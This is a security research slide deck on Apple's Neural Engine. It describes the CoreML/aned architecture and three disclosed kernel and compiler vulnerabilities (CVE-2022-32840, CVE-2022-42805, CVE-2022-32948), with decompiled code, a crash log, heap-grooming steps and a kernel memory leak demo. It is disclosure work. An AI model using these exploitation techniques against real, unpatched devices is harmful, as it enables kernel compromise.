Attacking Apple’s Neural Engine

Mohamed GHANNAM (@_simo36)

Who am I

Independent Security Researcher based in Dubai:

- Vuln Research & Exploitation.
- Focus on iOS/macOS security.
- Previously on Linux/Android kernel.
- Disclosed 50+ user/kernel bugs to vendors.

Open source:

- ghidra_kernelcache.
- Public exploits: powend, oob_events .

Agenda

Apple’s Neural Engine Architecture

- CoreML/coremltools.
- Model formats.
- System Services/Kernel/Firmware.

Vulnerabilities

- User/Kernel vulnerabilities.

Exploitation

- Chaining bugs to achieve kernel r/w on *OS 15.x / macOS 12.x.

Conclusion

Apple’s Neural Engine Architecture

The user interface

Tools & Frameworks

<u>CoreML</u> framework used to:

- Integrated trained models into Xcode apps.
- Load models and on-device training.
- Make predictions.

<u>coremltools</u> python library that:

- Creates models from scratch.
- Converts trained models from other ML tools into CoreML.
- Manipulates/Customizes network layers and operations.
- Loads models and makes predictions.

The user interface

CoreML loads models through aned system service:

- XPC Interface : **com.apple.appleneuralengine .**
- Main broker for CoreML interactions with the kernel and the compiler service.
- Responsible for Model compilation and loading.

```
@protocol _ANEDaemonProtocol
@required
    -(void)compileModel:(id)arg1 sandboxExtension:(id)arg2 options:(id)arg3 qos:(unsigned)arg4 withReply:(/*^block*/id)arg5;
    -(void)loadModel:(id)arg1 sandboxExtension:(id)arg2 options:(id)arg3 qos:(unsigned)arg4 withReply:(/*^block*/id)arg5;
    -(void)unloadModel:(id)arg1 options:(id)arg2 qos:(unsigned)arg3 withReply:(/*^block*/id)arg4;
    -(void)compiledModelExistsFor:(id)arg1 withReply:(/*^block*/id)arg2;
    -(void)purgeCompiledModel:(id)arg1 withReply:(/*^block*/id)arg2;
@end
```

The user interface

aned compiles a model through the ANE compiler ANECompilerService:

- XPC Interface : **com.apple.ANECompilerService**.
- Model Translation & Compilation.
- Entitled: **com.apple.ANECompilerService.allow**.
- Produces a binary model “model.hwx”.

```
@protocol _ANECompilerServiceProtocol
- (void)compileModelAt:(id)v1 csIdentity:(id)v2 sandboxExtension:(id)v3 options:(id)v4 tempDirectory:(id)v5 cloneDirectory:(id)v6 outputURL:(id)v7
    withReply:(void (^ /* unknown block signature */)(void))v8;
@end
```

Model Formats

- MLModel is converted to MLModelc (ProtoBuf to JSON format):
  - The compilation can also be done via coremlcompiler command.
- MLModelc is translated to net.plist (from a set of JSON files to one PLIST file) :
  - The model translation is made by Espresso private framework.
- net.plist is compiled to a binary model called "**model.hwx**":
  - The compilation is done by ANECompiler`ANECCompile()
  - The model.hwx is a Mach-O file that starts with 0xfeedface or 0xbeefface.
  - The model.hwx has segments / sections .. etc

The kernel interface

- The kernel extension is AppleH11ANEInterface.
- The KEXT provides two UserClient classes: H11ANEInUserClient and H11ANEInDirectPathClient.
- **H11ANEInUserClient: (for aned)**
    - Responsible for loading/unloading models.
    - A lot of external methods with rich features (large attack surface).
    - Entitled: **com.apple.ane.iokit-user-access.**
- **H11ANEInDirectPathClient: (for Xcode apps)**
    - Responsible for model predictions and on-device training.
    - Allows apps to Send Procedure Calls Requests to the firmware.
    - Reachable from the default app sandbox (an attractive target).

The Firmware interface

- The firmware image can be found at ./Firmware/ane/ in IPSW files.
- CANEController::CmdProcessor() is the main function that parses ~70 commands.

CANEController::CmdProcessor()

Apple’s Neural Engine Architecture

Apple’s Neural Engine Architecture

User space

aned

ANECompilerService

- CoreML compiles “**file.mlmodel**” to “**file.mlmodelc**”

```
mlmodelc_url = [MLModel compileModelAtURL:@"file.mlmodel" error:&err];
```

```
$ xcrun coremlcompiler compile file.mlmodel
```

Kernel

Firmware

Apple’s Neural Engine Architecture

User space

aned

ANECompilerService

- CoreML initiates a connection with aned via **com.apple.appleneuralengine**
- CoreML sends a request to load “file.mlmodelc”

```
_ANEModel *md = [_ANEModel modelAtURL:mlmodelc key:@""];
[[_ANEClient sharedConnection] loadModel:md options:opts qos:0x15 error:&err];
```

Kernel

Firmware

Apple’s Neural Engine Architecture

User space

- CoreML initiates a connection with aned via **com.apple.appleneuralengine**
- CoreML sends a request to load “file.mlmodelc”

```
_ANEModel *md = [_ANEModel modelAtURL:mlmodelc key:@""];
[[_ANEClient sharedConnection] loadModel:md options:opts qos:0x15 error:&err];
```

Kernel

Firmware

Apple’s Neural Engine Architecture

User space

- aned initiates a connection with ANECompilerService via **com.apple.ANECompilerService**

  -[_ANEServer **doCompileModel**:myANEModel **csIdentity**: **sandboxExtension**: **options**:MyOptionDict **qos**: **withReply**:]

  -[connection compileModelAt:csIdentity:sandboxExtension:options:tempDirectory:cloneDirectory:outputURL:withReply:]

Kernel

Firmware

Apple’s Neural Engine Architecture

Apple’s Neural Engine Architecture

- “**file.mlmodelc**” is translated to “**net.plist**” using Espresso framework

  +[_ANEEspressoIRTranslator **translateModelAt**: **key**: **outputPath**: **isEncryptedModel**: **error**:]

Kernel

Firmware

Apple’s Neural Engine Architecture

User space

- “**file.mlmodelc**” is translated to “**net.plist”** using Espresso framework

  +[_ANEEspressoIRTranslator **translateModelAt**: **key**: **outputPath**: **isEncryptedModel**: **error**:]

- “**net.plist**” is compiled to “**model.hwx”** using ANECompiler`ANECCompile() function

  +[_ANECompiler **compileModel**:**modelPath**:**optionsFilePath**:**outputFilename**:**outputPath**:**saveSourceModelPath**:**isEncryptedModel**:**isMILModel**:**ok**:**error**:]

Kernel

Firmware

Apple’s Neural Engine Architecture

Apple’s Neural Engine Architecture

Apple’s Neural Engine Architecture

Apple’s Neural Engine Architecture

Apple’s Neural Engine Architecture

Apple’s Neural Engine Architecture

Apple’s Neural Engine Architecture

Apple’s Neural Engine Architecture

Apple’s Neural Engine Architecture

References

- BlackHat ASIA 21 Wish Wu: Apple Neural Engine Internals
- George Hotz | Programming | tinygrad: triggering the Apple Neural Engine from C++
- Hollance : The Neural Engine — what do we know about it?

Vulnerabilities

Vulnerabilities

Vulnerabilities

CVE-2022-32840: ANE_ProgramSendRequest() OOB write.

CVE-2022-32840: ANE_ProgramSendRequest() OOB write

- The program ID for the model in the kernel.
- The procedure ID to invoke.
- In/output and intermediate surface buffers.

H11ANEProgramRequestArgsStruct

```
Offset Size  struct H11ANEProgramRequestArgsStruct
             {
  0000 0008    u64 programHandle;
  0008 0008    u64 field_8;
  0010 0004    u32 procedureId;
  0014 0004    u32 field_14;
  0018 0008    u64 field_18;
  0020 0008    u64 request_priority;
  0028 0004    u32 total_InputBuffers;
  002C 0100    uchar inputBufferSymbolIndex[256];
  012C 03FC    u32 inputBufferSurfaceId[255];
  0528 0004    u32 total_OutputBuffers;
  052C 0100    uchar OutputBuffers[256];
  062C 03FC    u32 outputBufferSurfaceId[255];
  0A28 0004    u32 total_IntermediateBuffers;
  0A2C 000C    u32 IntermediateBufferSurfaceID[3];
  0A38 0008    u64 callBack;
  0A40 0008    u64 refCon;
  0A48 0004    u32 field_A48;
  0A4C 0004    u32 weightsBufferSurfaceId;
  0A50 0008    void *SharedEvents;
  0A58 0008    u64 field_A58;
       0A60 };
```

CVE-2022-32840: ANE_ProgramSendRequest() OOB write

- The program ID for the model in the kernel.
- The procedure ID to invoke.
- In/output and intermediate surface buffers.
- Max total input/output is 255.
- Max total Intermediate buffer is **3**.

H11ANEProgramRequestArgsStruct

```
Offset Size  struct H11ANEProgramRequestArgsStruct
             {
  0000 0008    u64 programHandle;
  0008 0008    u64 field_8;
  0010 0004    u32 procedureId;
  0014 0004    u32 field_14;
  0018 0008    u64 field_18;
  0020 0008    u64 request_priority;
  0028 0004    u32 total_InputBuffers;
  002C 0100    uchar inputBufferSymbolIndex[256];
  012C 03FC    u32 inputBufferSurfaceId[255]
  0528 0004    u32 total_OutputBuffers;
  052C 0100    uchar OutputBuffers[256];
  062C 03FC    u32 outputBufferSurfaceId[255];
  0A28 0004    u32 total_IntermediateBuffers;
  0A2C 000C    u32 IntermediateBufferSurfaceID[3];
  0A38 0008    u64 callBack;
  0A40 0008    u64 refCon;
  0A48 0004    u32 field_A48;
  0A4C 0004    u32 weightsBufferSurfaceId;
  0A50 0008    void *SharedEvents;
  0A58 0008    u64 field_A58;
       0A60 };
```

CVE-2022-32840: ANE_ProgramSendRequest() OOB write

- **Any validation for the total surface buffers ?**

```
  totInputBuffers = structureInput->total_InputBuffers;
  totOutputBuffers = structureInput->total_OutputBuffers;
  if ( !totInputBuffers || totInputBuffers > 0xFF || (totOutputBuffers - 1) >= 0xFF )
  {
    ret = 0xE00002C2LL;
    _os_log_internal(
      &dword_0,
      &_os_log_default,
      0,
      "ANE%d: %s :ERROR: H11ANEIn: Bad number of buffers, programHandle=0x%llx, totInputBuffers=%d, totOutputBuffers=%d\n",
      this->m_H11ANEIn.ane_number,
      "IOReturn H11ANEIn::ANE_ProgramSendRequest_gated(H11ANEProgramRequestArgs *, H11ANESharedEvents *, H11ANEProgramSen"
      "dRequestAdditionalParams *)",
      structureInput->programHandle,
      structureInput->total_InputBuffers,
      totOutputBuffers);
    ProgramBuffer = 0LL;
    goto LABEL_43;
  }
```

CVE-2022-32840: ANE_ProgramSendRequest() OOB write

- **Any validation for the total surface buffers ?**

```
  totInputBuffers = structureInput->total_InputBuffers;
  totOutputBuffers = structureInput->total_OutputBuffers;
  if ( !totInputBuffers || totInputBuffers > 0xFF || (totOutputBuffers - 1) >= 0xFF )
  {
    ret = 0xE00002C2LL;
    _os_log_internal(
      &dword_0,
      &_os_log_default,
      0,
      "ANE%d: %s :ERROR: H11ANEIn: Bad number of buffers, programHandle=0x%llx, totInputBuffers=%d, totOutputBuffers=%d\n",
      this->m_H11ANEIn.ane_number,
      "IOReturn H11ANEIn::ANE_ProgramSendRequest_gated(H11ANEProgramRequestArgs *, H11ANESharedEvents *, H11ANEProgramSen"
      "dRequestAdditionalParams *)",
      structureInput->programHandle,
      structureInput->total_InputBuffers,
      totOutputBuffers);
    ProgramBuffer = 0LL;
    goto LABEL_43;
  }
```

- **No validation for <u>total intermediate buffers</u>**

CVE-2022-32840: ANE_ProgramSendRequest() OOB write

AppleH11ANEInterface from macOS 12.1 (~iOS 15.2)

```
  || !ProcessParamsStructOut->not_require_intermediate_buffer
  && (SCBufArgs = IOMallocZero(0x80uLL),
      (BuffersInfo->IntermediateBuffer_SharedClientBufferArgsPtr = SCBufArgs) == 0LL) )
```

- The *SCBufArgs* object size is 0x80
- *SCBufArgs* is *H11ANESharedClientBufferArgs*
  - A container of intermediate surface buffer information

CVE-2022-32840: ANE_ProgramSendRequest() OOB write

AppleH11ANEInterface from macOS 12.1 (~iOS 15.2)

```
  || !ProcessParamsStructOut->not_require_intermediate_buffer
  && (SCBufArgs = IOMallocZero(0x80uLL),
      (BuffersInfo->IntermediateBuffer_SharedClientBufferArgsPtr = SCBufArgs) == 0LL) )
```

- The *SCBufArgs* object size is 0x80
- *SCBufArgs* is *H11ANESharedClientBufferArgs*
  - A container of intermediate surface buffer information

```
Offset Size  struct H11ANESharedClientBufferArgsStruct
             {
  0000 0008    _OSValueObject *SCB_container;
  0008 0008    H11ANERequestParamsStruct *SCB_RequestParams;
  0010 0008    u64 SCB_field_10;
  0018 0008    IOSurface *SCB_IOSurface;
  0020 0008    u64 SCB_field_20;
  0028 0008    IOMemoryDescriptor *SCB_IOSurface_MemDesc;
  0030 0008    u64 SCB_unk_30;
  0038 0008    u64 unk_38;
  0040 0004    int unk_40;
  0044 0002    ushort unk_44;
  0048 0008    u64 SCB_Segment;
  0050 0008    IODMACommand *SCB_IODMACommand;
  0058 0004    u32 SCB_outputBufferSurfaceId;
  005C 0004    u32 SCB_OutputBuffer;
  0060 0008    u64 SCB_field_60;
  0068 0008    u64 SCB_programHandle;
  0070 0008    u64 field_70;
  0078 0004    u32 PlaneSize;
  007C 0004    u32 SCB_bufferIndex;
       0080  };
```

H11ANESharedClientBufferArgsStruct

CVE-2022-32840: ANE_ProgramSendRequest() OOB write

AppleH11ANEInterface from macOS 12.1 (~iOS 15.2)

```
  || !ProcessParamsStructOut->not_require_intermediate_buffer
  && (SCBufArgs = IOMallocZero(0x80uLL),
      (BuffersInfo->IntermediateBuffer_SharedClientBufferArgsPtr = SCBufArgs) == 0LL) )
```

- The *SCBufArgs* object size is 0x80
- *SCBufArgs* is *H11ANESharedClientBufferArgs*
  - A container of intermediate surface buffer information
- The allocation is an array of 1 element of H11ANESharedClientBufferArgs

```
Offset Size  struct H11ANESharedClientBufferArgsStruct
            {
  0000 0008   _OSValueObject *SCB_container;
  0008 0008   H11ANERequestParamsStruct *SCB_RequestParams;
  0010 0008   u64 SCB_field_10;
  0018 0008   IOSurface *SCB_IOSurface;
  0020 0008   u64 SCB_field_20;
  0028 0008   IOMemoryDescriptor *SCB_IOSurface_MemDesc;
  0030 0008   u64 SCB_unk_30;
  0038 0008   u64 unk_38;
  0040 0004   int unk_40;
  0044 0002   ushort unk_44;
  0048 0008   u64 SCB_Segment;
  0050 0008   IODMACommand *SCB_IODMACommand;
  0058 0004   u32 SCB_outputBufferSurfaceId;
  005C 0004   u32 SCB_OutputBuffer;
  0060 0008   u64 SCB_field_60;
  0068 0008   u64 SCB_programHandle;
  0070 0008   u64 field_70;
  0078 0004   u32 PlaneSize;
  007C 0004   u32 SCB_bufferIndex;
       0080 };
```

H11ANESharedClientBufferArgsStruct

CVE-2022-32840: ANE_ProgramSendRequest() OOB write

- We are inside a loop that fills up the client buffer.

```
  }
  IntermediateBuffer_ICB = &BuffersInfo->IntermediateBuffer_SharedClientBufferArgsPtr[k];
  IntermediateBuffer_ICB->SCB_RequestParams = RequestParams;
  IntermediateBuffer_ICB->SCB_field_10 = 0LL;
  LODWORD(IntermediateBuffer_ICB->SCB_container) = -1;
  IntermediateBuffer_ICB->SCB_IOSurface = ADJ(CURRENT)->IntermediateBufferSurface[0];
  IntermediateBuffer_ICB->SCB_IOSurface_MemDesc = ADJ(CURRENT)->IntermediateBufferMemDesc[0];
  IntermediateBuffer_ICB->SCB_unk_30 = 0LL;
  IntermediateBuffer_ICB->unk_38 = 0LL;
  IntermediateBuffer_ICB->unk_40 = 0;
  IntermediateBuffer_ICB->unk_44 = 256;
  IntermediateBuffer_ICB->SCB_Segment = ADJ(CURRENT)->IntermediateBuffer_segfIOVMAddr[0];
  IntermediateBuffer_ICB->SCB_IODMACommand = ADJ(CURRENT)->IntermediateBufferDMACommand[0];
  IntermediateBuffer_ICB->SCB_outputBufferSurfaceId = IntermediateBufferSurfaceID[i_1];
  IntermediateBuffer_ICB->SCB_OutputBuffer = 255;
  LOBYTE(IntermediateBuffer_ICB->SCB_field_60) = 0;
  IntermediateBuffer_ICB->SCB_programHandle = structureInput->programHandle;
  ++i_1;
  ++CURRENT;
  ++IntermediateBuffer_segfIOVMAddr;
  ++k;                    // k+=0x80
  if ( i_1 >= structureInput->total_IntermediateBuffers )
    goto LABEL_655;
}
```

H11ANEIn::ANE_ProgramSendRequest_gated()

- The loop keeps copying data out-of-bounds.

CVE-2022-32840: ANE_ProgramSendRequest() OOB write

- We are inside a loop that fills up the client buffer.

```
  IntermediateBuffer_ICB = &BuffersInfo->IntermediateBuffer_SharedClientBufferArgsPtr[k];
  IntermediateBuffer_ICB->SCB_RequestParams = RequestParams;
  IntermediateBuffer_ICB->SCB_field_10 = 0LL;
  LODWORD(IntermediateBuffer_ICB->SCB_container) = -1;
  IntermediateBuffer_ICB->SCB_IOSurface = ADJ(CURRENT)->IntermediateBufferSurface[0];
  IntermediateBuffer_ICB->SCB_IOSurface_MemDesc = ADJ(CURRENT)->IntermediateBufferMemDesc[0];
  IntermediateBuffer_ICB->SCB_unk_30 = 0LL;
  IntermediateBuffer_ICB->unk_38 = 0LL;
  IntermediateBuffer_ICB->unk_40 = 0;
  IntermediateBuffer_ICB->unk_44 = 256;
  IntermediateBuffer_ICB->SCB_Segment = ADJ(CURRENT)->IntermediateBuffer_segfIOVMAddr[0];
  IntermediateBuffer_ICB->SCB_IODMACommand = ADJ(CURRENT)->IntermediateBufferDMACommand[0];
  IntermediateBuffer_ICB->SCB_outputBufferSurfaceId = IntermediateBufferSurfaceID[i_1];
  IntermediateBuffer_ICB->SCB_OutputBuffer = 255;
  LOBYTE(IntermediateBuffer_ICB->SCB_field_60) = 0;
  IntermediateBuffer_ICB->SCB_programHandle = structureInput->programHandle;
  ++i_1;
  ++CURRENT;
  ++IntermediateBuffer_segfIOVMAddr;
  ++k;                    // k+=0x80
  if ( i_1 >= structureInput->total_IntermediateBuffers )
    goto LABEL_655;
}
```

H11ANEIn::ANE_ProgramSendRequest_gated()

- The loop keeps copying data out-of-bounds.

CVE-2022-32840: ANE_ProgramSendRequest() OOB write

- We are inside a loop that fills up the client buffer.

```
  IntermediateBuffer_ICB = &BuffersInfo->IntermediateBuffer_SharedClientBufferArgsPtr[k];
  IntermediateBuffer_ICB->SCB_RequestParams = RequestParams;
  IntermediateBuffer_ICB->SCB_field_10 = 0LL;
  LODWORD(IntermediateBuffer_ICB->SCB_container) = -1;
  IntermediateBuffer_ICB->SCB_IOSurface = ADJ(CURRENT)->IntermediateBufferSurface[0];
  IntermediateBuffer_ICB->SCB_IOSurface_MemDesc = ADJ(CURRENT)->IntermediateBufferMemDesc[0];
  IntermediateBuffer_ICB->SCB_unk_30 = 0LL;
  IntermediateBuffer_ICB->unk_38 = 0LL;
  IntermediateBuffer_ICB->unk_40 = 0;
  IntermediateBuffer_ICB->unk_44 = 256;
  IntermediateBuffer_ICB->SCB_Segment = ADJ(CURRENT)->IntermediateBuffer_segfIOVMAddr[0];
  IntermediateBuffer_ICB->SCB_IODMACommand = ADJ(CURRENT)->IntermediateBufferDMACommand[0];
  IntermediateBuffer_ICB->SCB_outputBufferSurfaceId = IntermediateBufferSurfaceID[i_1];
  IntermediateBuffer_ICB->SCB_OutputBuffer = 255;
  LOBYTE(IntermediateBuffer_ICB->SCB_field_60) = 0;
  IntermediateBuffer_ICB->SCB_programHandle = structureInput->programHandle;
  ++i_1;
  ++CURRENT;
  ++IntermediateBuffer_segfIOVMAddr;
  ++k;                    // k+=0x80
  if ( i_1 >= structureInput->total_IntermediateBuffers )
    goto LABEL_655;
}
```

H11ANEIn::ANE_ProgramSendRequest_gated()

- The loop keeps copying data out-of-bounds.
- Buffer overflow in *SCBufArgs* by **0x80 * *total_IntermediateBuffers.***

CVE-2022-32840: ANE_ProgramSendRequest() OOB write

- *total_IntermediateBuffers = 2* is sufficient crash the kernel.

```
{"bug_type":"210","timestamp":"2022-03-17 20:50:50.00 +0400","os_version":"macOS 12.1 (21C52)","incident_id":"BE75129E-C620-4D82-9900-1E012E610F31"}
{
  "build" : "macOS 12.1 (21C52)",
  "product" : "MacBookAir10,1",
  "kernel" : "Darwin Kernel Version 21.2.0: Sun Nov 28 20:29:10 PST 2021; root:xnu-8019.61.5~1\/RELEASE_ARM64_T8101",
  "incident" : "BE75129E-C620-4D82-9900-1E012E610F31",
  "crashReporterKey" : "1B40DD14-2FCC-C3FF-1621-F12333718E3D",
  "date" : "2022-03-17 20:50:50.14 +0400",
  "panicString" : "panic(cpu 3 caller 0xfffffe0013d52eec): [kext.kalloc.128]: element modified after free (off:0, val:0x00000000ffffffff, sz:128, ptr:0xfffffe200070e280)
    0: 0x00000000ffffffff
    8: 0xfffffe24cc8f4000
   24: 0xfffffe1b32d14000
   40: 0xfffffe24ce3a8ae0
   64: 0x0000010000000000
   72: 0x000000000267c000
   80: 0xfffffe200098e9b8
   88: 0x000000ff00000055
  104: 0x0000000116be03eb
Debugger message: panic
```

Vulnerabilities

CVE-2022-32840: OOB writes in ANE_ProgramSendRequest().

CVE-2022-42805: ANECValidateMutableProcedureInfo() integer overflow.

CVE-2022-42805: ANECValidateMutableProcedureInfo() integer overflow

```
ZinComputeProgramStatus __cdecl ZinComputeProgramUpdateMutables(
        uint64_t procedureId,
        const ZinComputeProgramInitInfo *init_info,
        const ANECMutableProcedureInfo *mutable_procedure_info,
        uint64_t mut_procedure_info_size,
        void *MUTK_kernel_section,
        uint64_t MUTK_kernel_section_size)
{
  // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]
```

- *ANECMutableProcedureInfo* is a mapping of an IOSurface buffer.
- The IOSurface object is from *structureInput->weightSurfaceId.*
- *ANECMutableProcedureInfo* content is completely under user-control.

CVE-2022-42805: ANECValidateMutableProcedureInfo() integer overflow

```
ZinComputeProgramStatus __cdecl ZinComputeProgramUpdateMutables(
        uint64_t procedureId,
        const ZinComputeProgramInitInfo *init_info,
        const ANECMutableProcedureInfo *mutable_procedure_info,
        uint64_t mut_procedure_info_size,
        void *MUTK_kernel_section,
        uint64_t MUTK_kernel_section_size)
{
  // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]
```

- *ANECMutableProcedureInfo* is a mapping of an IOSurface buffer.
- The IOSurface object is from *structureInput->weightSurfaceId.*
- *ANECMutableProcedureInfo* content is completely under user-control.

CVE-2022-42805: ANECValidateMutableProcedureInfo() integer overflow

ANECMutableProcedureInfo is a user-controlled object

```
Offset Size  struct weightInfo
             {
  0000 0008    uint64_t wi_index;
  0008 0008    uint64_t wi_off;
  0010 0008    uint64_t wi_size;
       0018  };
```

```
Offset Size  struct ANECMutableProcedureInfo
             {
  0000 0020    ANECMutableProcedureInfoHeader header;
  0020 0190    uint64_t wb_offsets[];
             };
```

```
Offset Size  struct opsInfo
             {
  0000 0004    uint32_t op_index;
  0004 0004    uint32_t op_count;
  0008 0008    uint64_t op_offsets[1];
       0010  };
```

```
Offset Size  struct ANECMutableProcedureInfoHeader
             {
  0000 0008    unsigned long field_0;
  0008 0008    unsigned long field_8;
  0010 0008    unsigned long field_10;
  0018 0004    unsigned int weight_buffer_size;
  001C 0004    unsigned int field_1C;
       0020  };
```

CVE-2022-42805: ZinComputeProgramUpdateMutables() integer overflow

- *weight_buffer_size*: the total size of ANECMutableProcedureInfo
- *wb_offset[n]*: the starting position of OperationInfo[n]
- *op_offset[m]*: the starting position of weightInfo[m]

CVE-2022-42805: ANECValidateMutableProcedureInfo() integer overflow

```
ZinComputeProgramStatus __cdecl ZinComputeProgramUpdateMutables(
        uint64_t procedureId,
        const ZinComputeProgramInitInfo *init_info,
        const ANECMutableProcedureInfo *mutable_procedure_info,
        uint64_t mut_procedure_info_size,
        void *MUTK_kernel_section,
        uint64_t MUTK_kernel_section_size)
{
  // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]
```

- *ANECMutableProcedureInfo* is a mapping of an IOSurface buffer.
- The IOSurface is taken from from *structureInput->weightSurfaceId.*
- *ANECMutableProcedureInfo* content is completely under user-control.

CVE-2022-42805: ANECValidateMutableProcedureInfo() integer overflow

```
ZinComputeProgramStatus __cdecl ZinComputeProgramUpdateMutables(
        uint64_t procedureId,
        const ZinComputeProgramInitInfo *init_info,
        const ANECMutableProcedureInfo *mutable_procedure_info,
        uint64_t mut_procedure_info_size,
        void *MUTK_kernel_section,
        uint64_t MUTK_kernel_section_size)
{
  // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]
```

- *ANECMutableProcedureInfo* is a mapping of an IOSurface buffer.
- The IOSurface is taken from from *structureInput->weightSurfaceId.*
- *ANECMutableProcedureInfo* content is completely under user-control.
- *ANECValidateMutableProcedureInfo* is called to verify the safety of the object.

CVE-2022-42805: ANECValidateMutableProcedureInfo() integer overflow

ANECValidateMutableProcedureInfo() call trace

- *ANECValidateMutableProcedureInfo* is called to verify the safety of the object passed to ZinComputeProgramUpdateMutables.

CVE-2022-42805: ANECValidateMutableProcedureInfo() integer overflow

- *ANECValidateMutableProcedureInfo()* validates the shared surface buffer.

```
            }
            weightInfo = (procedure_info + *op_offsets);
            if ( weightInfo->wi_index >= ops_count )
            {
              _os_log_internal(
                &dword_0,
                &_os_log_default,
                0,
                "%s:  Invalid weight buffer index ",
                "ANECStatus ANECValidateMutableProcedureInfo(const ANECMutableProcedureInfo *, uint64_t)");
              return 6;
            }
            if ( weightInfo->wi_size + weightInfo->wi_off > procedure_info_size )
              break;
```

ANECValidateMutableProcedureInfo

CVE-2022-42805: ANECValidateMutableProcedureInfo() integer overflow

- *ANECValidateMutableProcedureInfo()* validates the shared surface buffer.
- Integer overflow in the calculation at *line 95.*
- The security check could be bypassed by overflowing the calculation.

```
83          }
84          weightInfo = (procedure_info + *op_offsets);
85          if ( weightInfo->wi_index >= ops_count )
86          {
87            _os_log_internal(
88              &dword_0,
89              &_os_log_default,
90              0,
91              "%s:  Invalid weight buffer index ",
92              "ANECStatus ANECValidateMutableProcedureInfo(const ANECMutableProcedureInfo *, uint64_t)");
93            return 6;
94          }
95          if ( weightInfo->wi_size + weightInfo->wi_off > procedure_info_size )
96            break;
```

```
Offset Size  struct __attribute__((aligned(8))) weightInfo
             {
  0000 0008    uint64_t wi_index;
  0008 0008    uint64_t wi_off;
  0010 0008    uint64_t wi_size;
       0018  };
```

ANECValidateMutableProcedureInfo

CVE-2022-42805: ANECValidateMutableProcedureInfo() integer overflow

- *ANECValidateMutableProcedureInfo()* validated our object.
- *ANECGetMutableWeight()* is called to populate *ANECMutableWeight* .
- Because of the overflow, *_weightBuf* could point to any location outside the buffer range.
- This vulnerability could be turned into **arbitrary memory read** if the *procedure_info* address was known.

```
1  void __fastcall ANECGetMutableWeight(
2          const ANECMutableProcedureInfo *procedure_info,
3          weightInfo *weightInfo,
4          ANECMutableWeight *mw)
5  {
6    mw->_weightBuf = procedure_info + weightInfo->wi_off;
7    mw->_weightBufSize = weightInfo->wi_size;
8  }
```

CVE-2022-42805: ANECValidateMutableProcedureInfo() integer overflow

- *ANECMutableProcedureInfo* is allocated from *KHEAP_DATA_BUFFERS .*

CVE-2022-42805: ANECValidateMutableProcedureInfo() integer overflow

- *ANECMutableProcedureInfo* is allocated from *KHEAP_DATA_BUFFERS .*
- Groom *KHEAP_DATA_BUFFERS* with a lot of **ipc_kmsg** data buffers.

CVE-2022-42805: ANECValidateMutableProcedureInfo() integer overflow

- *ANECMutableProcedureInfo* is allocated from *KHEAP_DATA_BUFFERS .*
- Groom *KHEAP_DATA_BUFFERS* with a lot of **ipc_kmsg** data buffers.
- Allocate the *ANECMutableProcedureInfo* object.

CVE-2022-42805: ANECValidateMutableProcedureInfo() integer overflow

- *ANECMutableProcedureInfo* is allocated from *KHEAP_DATA_BUFFERS .*
- Groom *KHEAP_DATA_BUFFERS* with a lot of **ipc_kmsg** data buffers.
- Allocate the *ANECMutableProcedureInfo* object.
- Overflow the calculation : weightInfo->wi_off = (0 - 0x10000);

CVE-2022-42805: ANECValidateMutableProcedureInfo() integer overflow

- *ANECMutableProcedureInfo* is allocated from *KHEAP_DATA_BUFFERS .*
- Groom *KHEAP_DATA_BUFFERS* with a lot of **ipc_kmsg** data buffers.
- Allocate the *ANECMutableProcedureInfo* object.
- Overflow the calculation : weightInfo->wi_off = (0 - 0x10000);
- Underflow the **mw->_weightBuf** location to point to an **ipc_kmsg** buffer.

CVE-2022-42805: ANECValidateMutableProcedureInfo() integer overflow

Demo: Leak the **ipc_kmsg** content to user-space.

```
[+] Allocated weightBuffer 0x130008000
[+] Serializing ...
[+] Patching model.hwx with custom init section ...OK
[+] Loading model.hwx  .. OK

12 11 00 00 BC FF 01 00  E0 59 FD CE 24 FE FF FF  |  .........Y..$...
00 00 00 00 00 00 00 00  00 00 00 00 FF 00 42 42  |  ..............BB
AA AA AA AA AA AA AA AA  00 00 00 00 00 00 00 00  |  ................
EC EC EC EC EC EC EC EC  EC EC EC EC EC EC EC EC  |  ................
EC EC EC EC EC EC EC EC  EC EC EC EC EC EC EC EC  |  ................
EC EC EC EC EC EC EC EC  EC EC EC EC EC EC EC EC  |  ................
EC EC EC EC EC EC EC EC  EC EC EC EC EC EC EC EC  |  ................
EC EC EC EC EC EC EC EC  EC EC EC EC EC EC EC EC  |  ................
EC EC EC EC EC EC EC EC  EC EC EC EC EC EC EC EC  |  ................
EC EC EC EC EC EC EC EC  EC EC EC EC EC EC EC EC  |  ................
EC EC EC EC EC EC EC EC  EC EC EC EC EC EC EC EC  |  ................
EC EC EC EC EC EC EC EC  EC EC EC EC EC EC EC EC  |  ................
EC EC EC EC EC EC EC EC  EC EC EC EC EC EC EC EC  |  ................
EC EC EC EC EC EC EC EC  EC EC EC EC EC EC EC EC  |  ................
EC EC EC EC EC EC EC EC  EC EC EC EC EC EC EC EC  |  ................
EC EC EC EC EC EC EC EC  EC EC EC EC EC EC EC EC  |  ................

[+] Leaked ipc port kernel object 0xfffffe24cefd59e0
[+] Message id 0x424200ff
```

Vulnerabilities

CVE-2022-32840: OOB writes in ANE_ProgramSendRequest().

CVE-2022-42805: ANECValidateMutableProcedureInfo() integer overflow.

CVE-2022-32948: DeCxt::FileIndexToWeight() improper index validation.

CVE-2022-32948: DeCxt::FileIndexToWeight() improper index validation

- *DeCxt::FileIndexToWeigh()* is reachable from *H11ANEInDirectPathClient::_ANE_ProgramSendRequest().*

DeCxt::FileIndexToWeight() call trace

CVE-2022-32948: DeCxt::FileIndexToWeight() improper index validation

- *DeCxt::FileIndexToWeigh()* is reachable from *H11ANEInDirectPathClient::_ANE_ProgramSendRequest()*

```
bool __thiscall DeCxt::FileIndexToWeight(DeCxt *this, uint32_t index, uint64_t offset, char **param_3)
{
  MutableOperationInfo *weight_objects; // x8
  uint64_t weightBufSize; // x20

  weight_objects = this->weight_objects;
  weightBufSize = weight_objects[index]._weightBufSize;
  if ( weightBufSize <= offset )
    _os_log_internal(
      &dword_0,
      &_os_log_default,
      0,
      "%s: aggregate weight buffer chunk too small",
      "bool DeCxt::FileIndexToWeight(uint32_t, uint64_t, const char *&)");
  else
    *param_3 = &weight_objects[index]._weightBuf[offset];
  return weightBufSize > offset;
}
```

- Both *index* and *offset* are user-controlled parameters.

